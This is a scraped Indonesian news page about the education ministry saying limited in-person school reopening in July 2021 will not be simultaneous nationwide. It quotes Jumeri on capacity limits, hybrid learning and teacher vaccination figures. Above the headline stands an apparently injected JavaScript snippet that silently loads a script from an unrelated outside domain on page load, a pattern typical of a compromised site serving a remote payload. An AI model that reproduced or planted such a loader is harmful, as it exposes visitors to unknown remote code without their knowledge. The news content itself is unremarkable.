(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kemendikbudristek: Pembukaan Sekolah pada Juli Tidak Dilakukan Serentak


KANALKALIMANTAN.COM – Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi menegaskan bahwa rencana pembukaan sekolah untuk pembelajaran tatap muka (PTM) terbatas pada Juli 2021 atau tahun ajaran baru 2021/2022 tidak akan dilakukan secara serentak se-Indonesia.

Dirjen Pendidikan Anak Usia Dini Pendidikan Dasar dan Menengah Kemendikbud Ristek, Jumeri, menjelaskan vaksinasi guru dan tenaga pendidik yang ditargetkan selesai pada Juli 2021 bukan satu-satunya syarat buka sekolah.

Melainkan ada syarat lain seperti kesiapan sarana dan prasarana untuk protokol kesehatan, serta kesiapan warga sekolah menerapkan budaya baru di sekolah.

“Masyarakat masih menilai PTM dilaksanakan secara serentak, secara frontal, semua murid berbondong-bondong datang ke sekolah bawa tas. Belajar semua di sekolah, (bukan seperti itu),” kata Jumeri dalam jumpa pers virtual, Selasa (8/6/2021).

 

 

Baca juga: Hari Ini PSU Pilgub Kalsel, Diharapkan Coblosan Tak Terulang Lagi

Dia menegaskan bahwa PTM terbatas hanya membuka sekolah maksimal 50 persen dari kapasitas biasanya, waktu pembelajaran juga dibatasi dan tidak harus buka setiap hari, sehingga sekolah wajib memberikan opsi pembelajaran hybrid (offline-online).

“Jadi tidak harus semua pelajaran dijejalkan kepada peserta didik dan akibatnya bisa terjadi anak itu bahasanya blenger itu. Terlalu banyak materi,” ucapnya.

“Nah bagi ortu yang belum mantap, belum sreg untuk mengirim putra-putrinya ke sekolah boleh mengajukan tetap belajar di rumah,” sambung Jumeri.

Semua daftar periksa itu sudah diatur pemerintah lewat Surat Keputusan Bersama 4 Menteri tentang pembukaan sekolah di masa pandemi Covid-19.

Jumeri juga menilai maksud Presiden Joko Widodo soal PTM kemarin hanya perumpamaan saja, bahwa misalnya sekolah hanya tatap muka dua hari sepekan dan tidak lebih dari dua jam.

Baca juga: Warga Disabilitas Netra Silaturahmi ke Sekda Banjarbaru

“Pak Presiden itu memberi contoh, memberi perumpamaan, tadi saya sebutkan bahwa sesuai SKB kita menetapkan maksimal adalah 50 persen dari kapasitas kelas, tapi Pak Presiden beri arahan 25 persen. saya kira itu bersifat dinamis. dan PTM juga sangat tergantung situasi pandemi di sebuah wilayah,” pungkas Jumeri.

Sebagai informasi, per 8 Juni 2021 jumlah guru dan tendik yang sudah divaksin dosis pertama adalah 1.748.62 orang dan dosis kedua sebanyak 1.092.038 orang, masih jauh dari total sasaran 5.058.582 orang. (Suara.com)

Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.